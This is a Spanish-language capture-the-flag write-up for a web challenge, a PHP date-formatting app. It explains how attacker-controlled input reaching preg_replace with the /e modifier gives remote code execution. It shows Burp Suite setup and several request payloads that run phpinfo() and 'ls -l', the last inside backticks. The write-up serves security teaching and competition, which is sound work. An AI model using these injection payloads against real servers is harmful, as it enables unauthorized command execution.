Académique Documents
Professionnel Documents
Culture Documents
RETO 6 by Drk0wn
DATE FORMAT CON EXPRESIONES REGULARES
El siguiente write-up es del reto (Web Hacking) propuesto para Team Whoami que
amablemente se le denomin Reto 6 (gracias Matias), agradecer a los integrantes que
participaron del mismo y a su vez felicitarlos.
1. Lugar - H4ckzu5
2. Lugar - Tixer
0x01. Descripcin
Se trata de una aplicacin en PHP llamado Date Format, una sencilla aplicacin para
cambiar el formato de la fecha a travs de expresiones regulares (RegExp).
0x02. Anlisis
En la web podemos ingresar una fecha cualquiera en Date segn el tipo de formato
Input Format, pudiendo establecer el formato de salida Output Format que
queramos.
S tomamos la lnea 36
https://www.tutorialspoint.com/php/php_regular_expression.htm
S vemos en Input Format DD/MM/YYYY (primera opcin del radio button), la expresin
regular (Regex) hace una bsqueda por ese patrn, para luego hacer la sustitucin
segn la opcin seleccionada en Output Format.
$cadena=01/12/1990
$patron=/^(\d{2})\/(\d{2})\/(\d{4})$/;
$sustitucion=\1/\2/\3;
El cdigo hace lo siguiente: $patron realiza una bsqueda de coincidencia en $cadena
que es el que contiene nuestro formato de fecha, y luego realiza una sustitucin.
http://www.madirish.net/402
En la web citada podemos ver ejemplos muy prcticos para llevar a cabo una ejecucin
remota de cdigo, pero para ellos tenemos que tener ciertas condiciones:
Para poder observar los parmetros de la web, podemos hacer uso de algunas
herramientas y addons de navegadores, personalmente prefiero usar burpsuite.
Seteando BurpSuite
En nuestro navegador solo tenemos que configurar el proxy a 127.0.0.1 y puerto 8080
date=01%2F01%2F1999®exp=%2F%5E%28%5Cd%7B2%7D%29%5C%2F%28%5Cd%7B2%7D%29%5C%2F%28%5
Cd%7B4%7D%29%24%2F&format=%5C1%2F%5C2%2F%5C3
Para empezar hacer pruebas con la web a travs de burpsuite necesitamos ir al modo
repeater de la herramienta, para ello damos clic en Action y luego send to Repeater
desactivando el intercept is on
Ahora s empecemos a jugar con la web. En la parte inferior podemos ver los parmetros
que enva la web, date, regexp, format
0x03. Exploiting
Ahora viene la parte ms importante, hacer pruebas y lograr ejecutar cdigo
remotamente, para ello es necesario identificar cada uno de los parmetros de
preg_replace y los de la web, desde all ver el comportamiento de nuestro objetivo.
Nosotros tenemos
Date= es la cadena
Format= la sustitucin
En request ponemos
date=phpinfo()®exp=/^(.*)/&format=system(\\1)
Esto indica que la sustitucin se ha dado, sin embargo no logramos ejecutar cdigo
remoto.
date=phpinfo()®exp=/^(.*)/e&format=system(\\1)
Vemos lo siguiente
Ha ocurrido un error interno, esto indica que no hemos cumplido nuestro objetivo.
El error se debe a que la funcin system del parmetro format est de ms, una vez
ms cambiamos los parmetros.
date=phpinfo()®exp=/^(.*)/e&format=\1
Y vemos lo siguiente
Ahora s!! ya logramos ejecutar cdigo remoto, lo siguiente que haremos es pedir un
listado del directorio actual.
date=ls l®exp=/^(.*)/e&format=\1
Los que vemos en la variable $string y dentro de las comillas es un comando Linux entre
backstick operator
(http://php.net/manual/es/language.operators.execution.php).
Bien hagamos una prueba ms, pero esta vez con operador backstick tal como en el
ejemplo
date=`ls l`®exp=/^(.*)/e&format=\1
Bueno hasta aqu llegamos, ya terminar con el reto es cosa fcil, lo difcil fue encontrar
la forma de ejecutar cdigo de manera remota.